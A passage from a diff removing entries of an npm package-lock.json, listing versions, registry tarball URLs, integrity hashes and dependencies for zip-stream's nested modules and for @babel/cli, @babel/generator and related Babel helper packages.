"https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/zip-stream/node_modules/graceful-fs": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.0.tgz", - "integrity": "sha512-jpSvDPV4Cq/bgtpndIWbI5hmYxhQGHPC4d4cqBPb4DLniCfhJokdXhwhaDuLBGLQdvvRum/UiX6ECVIPvDXqdg==", - "dev": true - }, - "node_modules/zip-stream/node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/zip-stream/node_modules/process-nextick-args": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "node_modules/zip-stream/node_modules/readable-stream": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.4.0.tgz", - "integrity": "sha512-jItXPLmrSR8jmTRmRWJXCnGJsfy85mB3Wd/uINMXA65yrnFo0cPClFIUWzo2najVNSl+mx7/4W8ttlLWJe99pQ==", - "dev": true, - "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/zip-stream/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - } - }, - "dependencies": { - "@babel/cli": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.10.5.tgz", - "integrity": "sha512-j9H9qSf3kLdM0Ao3aGPbGZ73mEA9XazuupcS6cDGWuiyAcANoguhP0r2Lx32H5JGw4sSSoHG3x/mxVnHgvOoyA==", - "dev": true, - "requires": { - "chokidar": "^2.1.8", - "commander": "^4.0.1", - "convert-source-map": "^1.1.0", - "fs-readdir-recursive": "^1.1.0", - "glob": "^7.0.0", - "lodash": "^4.17.19", - "make-dir": "^2.1.0", - "slash": "^2.0.0", - "source-map": "^0.5.0" - }, - "dependencies": { - "anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "optional": true, - "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - }, - "dependencies": { - "normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "optional": true, - "requires": { - "remove-trailing-separator": "^1.0.1" - } - } - } - }, - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "optional": true - }, - "arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "optional": true - }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "optional": true - }, - "braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "optional": true, - "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "chokidar": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", - "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", - "dev": true, - "optional": true, - "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.1", - "braces": "^2.3.2", - "fsevents": "^1.2.7", - "glob-parent": "^3.1.0", - "inherits": "^2.0.3", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "normalize-path": "^3.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.2.1", - "upath": "^1.1.1" - } - }, - "commander": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", - "dev": true - }, - "expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "optional": true, - "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - } - }, - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "optional": true - } - } - }, - "extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "optional": true, - "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "optional": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fsevents": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", - "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", - "dev": true, - "optional": true, - "requires": { - "bindings": "^1.5.0", - "nan": "^2.12.1" - } - }, - "glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", - "dev": true, - "optional": true, - "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - }, - "dependencies": { - "is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "optional": true, - "requires": { - "is-extglob": "^2.1.0" - } - } - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "optional": true - }, - "is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "optional": true, - "requires": { - "is-extglob": "^2.1.1" - } - }, - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "optional": true - }, - "kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true, - "optional": true - }, - "make-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", - "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", - "dev": true, - "requires": { - "pify": "^4.0.1", - "semver": "^5.6.0" - } - }, - "micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "optional": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - } - }, - "nan": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", - "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", - "dev": true, - "optional": true - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "optional": true - }, - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true - }, - "readdirp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", - "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", - "dev": true, - "optional": true, - "requires": { - "graceful-fs": "^4.1.11", - "micromatch": "^3.1.10", - "readable-stream": "^2.0.2" - } - }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - }, - "slash": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", - "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==", - "dev": true - }, - "upath": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", - "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", - "dev": true, - "optional": true - } - } - }, - "@babel/code-frame": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.10.4.tgz", - "integrity": "sha512-vG6SvB6oYEhvgisZNFRmRCUkLz11c7rp+tbNTynGqc6mS1d5ATd/sGyV6W0KZZnXRKMTzZDRgQT3Ou9jhpAfUg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.10.4" - } - }, - "@babel/compat-data": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.10.5.tgz", - "integrity": "sha512-mPVoWNzIpYJHbWje0if7Ck36bpbtTvIxOi9+6WSK9wjGEXearAqlwBoTQvVjsAY2VIwgcs8V940geY3okzRCEw==", - "dev": true, - "requires": { - "browserslist": "^4.12.0", - "invariant": "^2.2.4", - "semver": "^5.5.0" - }, - "dependencies": { - "browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - } - }, - "caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - } - } - }, - "@babel/generator": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.10.5.tgz", - "integrity": "sha512-3vXxr3FEW7E7lJZiWQ3bM4+v/Vyr9C+hpolQ8BGFr9Y8Ri2tFLWTixmwKBafDujO1WVah4fhZBeU1bieKdghig==", - "dev": true, - "requires": { - "@babel/types": "^7.10.5", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - }, - "dependencies": { - "jsesc": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", - "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", - "dev": true - } - } - }, - "@babel/helper-annotate-as-pure": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.10.4.tgz", - "integrity": "sha512-XQlqKQP4vXFB7BN8fEEerrmYvHp3fK/rBkRFz9jaJbzK0B1DSfej9Kc7ZzE8Z/OnId1jpJdNAZ3BFQjWG68rcA==", - "dev": true, - "requires": { - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.10.4.tgz", - "integrity": "sha512-L0zGlFrGWZK4PbT8AszSfLTM5sDU1+Az/En9VrdT8/LmEiJt4zXt+Jve9DCAnQcbqDhCI+29y/L93mrDzddCcg==", - "dev": true, - "requires": { - "@babel/helper-explode-assignable-expression": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-compilation-targets": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.10.4.tgz", - "integrity": "sha512-a3rYhlsGV0UHNDvrtOXBg8/OpfV0OKTkxKPzIplS1zpx7CygDcWWxckxZeDd3gzPzC4kUT0A4nVFDK0wGMh4MQ==", - "dev": true, - "requires": { - "@babel/compat-data": "^7.10.4", - "browserslist": "^4.12.0", - "invariant": "^2.2.4", - "levenary": "^1.1.1", - "semver": "^5.5.0" - }, - "dependencies": { - "browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - } - }, - "caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - } - } - }, - "@babel/helper-create-class-features-plugin": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.10.5.tgz", - "integrity": "sha512-0nkdeijB7VlZoLT3r/mY3bUkw3T8WG/hNw+FATs/6+pG2039IJWjTYL0VTISqsNHMUTEnwbVnc89WIJX9Qed0A==", - "dev": true, - "requires": { - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-member-expression-to-functions": "^7.10.5", - "@babel/helper-optimise-call-expression": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4" - } - }, - "@babel/helper-create-regexp-features-plugin": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.10.4.tgz", - "integrity": "sha512-2/hu58IEPKeoLF45DBwx3XFqsbCXmkdAay4spVr2x0jYgRxrSNp+ePwvSsy9g6YSaNDcKIQVPXk1Ov8S2edk2g==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-regex": "^7.10.4", - "regexpu-core": "^4.7.0" - }, - "dependencies": { - "jsesc": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", - "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", - "dev": true - }, - "regexpu-core": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz", - "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==", - "dev": true, - "requires": { - "regenerate": "^1.4.0", - "regenerate-unicode-properties": "^8.2.0", - "regjsgen": "^0.5.1", - "regjsparser": "^0.6.4", - "unicode-match-property-ecmascript": "^1.0.4", - "unicode-match-property-value-ecmascript": "^1.2.0" - } - }, - "regjsgen": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", - "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==", - "dev": true - }, - "regjsparser": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz", - "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==", - "dev": true, - "requires": { - "jsesc": "~0.5.0" - } - } - } - }, - "@babel/helper-define-map": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.10.5.tgz", - "integrity": "sha512-fMw4kgFB720aQFXSVaXr79pjjcW5puTCM16+rECJ/plGS+zByelE8l9nCpV1GibxTnFVmUuYG9U8wYfQHdzOEQ==", - "dev": true, - "requires": { - "@babel/helper-function-name": "^7.10.4", - "@babel/types": "^7.10.5", - "lodash": "^4.17.19" - } - }, - "@babel/helper-explode-assignable-expression": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.10.4.tgz", - "integrity": "sha512-4K71RyRQNPRrR85sr5QY4X3VwG4wtVoXZB9+L3r1Gp38DhELyHCtovqydRi7c1Ovb17eRGiQ/FD5s8JdU0Uy5A==", - "dev": true, - "requires": { - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-function-name": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.10.4.tgz", - "integrity": "sha512-YdaSyz1n8gY44EmN7x44zBn9zQ1Ry2Y+3GTA+3vH6Mizke1Vw0aWDM66FOYEPw8//qKkmqOckrGgTYa+6sceqQ==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-get-function-arity": { - "version": 